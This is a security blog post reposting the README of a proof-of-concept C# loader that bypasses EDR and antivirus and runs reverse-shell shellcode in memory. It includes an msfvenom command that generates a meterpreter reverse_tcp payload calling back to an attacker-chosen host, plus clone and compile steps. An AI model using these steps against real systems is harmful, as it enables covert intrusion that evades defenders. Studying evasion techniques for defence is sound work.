Cyber security

EDR-Antivirus-Bypass-To-Gain-Shell-Access

This repository contains a proof-of-concept (PoC) for bypassing EDR and antivirus solutions using a memory injection technique.

The code executes shellcode that spawns a reverse shell, successfully evading detection by various security mechanisms.

Description

This project demonstrates how to bypass EDR and antivirus protection using Windows API functions such as VirtualAlloc, CreateThread, and WaitForSingleObject.

The payload is injected directly into the process memory without being detected by security tools, establishing a connection to a remote system for a reverse shell.

Features

  • Bypasses standard EDR and antivirus solutions
  • Executes shellcode in memory to create a reverse shell
  • Utilizes VirtualAlloc and CreateThread to inject the payload directly into process memory

Requirements

  • Windows Operating System (Tested on Windows 11 Pro)
  • Kali Linux (For reverse shell listener)
  • Visual Studio or any C# compiler

Steps To Compile And Run

1. Clone The Repository

https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git
cd EDR-Antivirus-Bypass-Shell-Access

2. Modify Shellcode

Before compiling, ensure that you modify the shellcode to point to your own IP address and port for the reverse shell. You can generate shellcode using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharp

Replace the byte[] buf section in Program.cs with the shellcode you just generated.

3. Compile The Code

Open the project in Visual Studio, or use the following command to compile the code using the .NET SDK:

csc loader.cs

**Alternatively, you can compile in Release mode for better optimization:

csc -optimize loader.cs

For more information click here.

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

Promptmap

Prompt injection is a type of security vulnerability that can be exploited to control the…

18 hours ago

Firefly – Black Box Fuzzer For Web Applications

Firefly is an advanced black-box fuzzer and not just a standard asset discovery tool. Firefly…

18 hours ago

Winit : Cross-Platform Window Creation And Management In Rust

Winit is a robust, cross-platform library designed for creating and managing windows in Rust applications.…

19 hours ago

Browser Autofill Phishing – The Hidden Dangers And Security Risks

In today’s digital age, convenience often comes at the cost of security. One such overlooked…

19 hours ago

Terminal GPT (tgpt) – Your Direct CLI Gateway To ChatGPT 3.5

Terminal GPT (tgpt) offers a seamless way to bring the power of ChatGPT 3.5 directly…

19 hours ago

garak, LLM Vulnerability Scanner : The Comprehensive Tool For Assessing Language Model Security

garak checks if an LLM can be made to fail in a way we don't…

4 days ago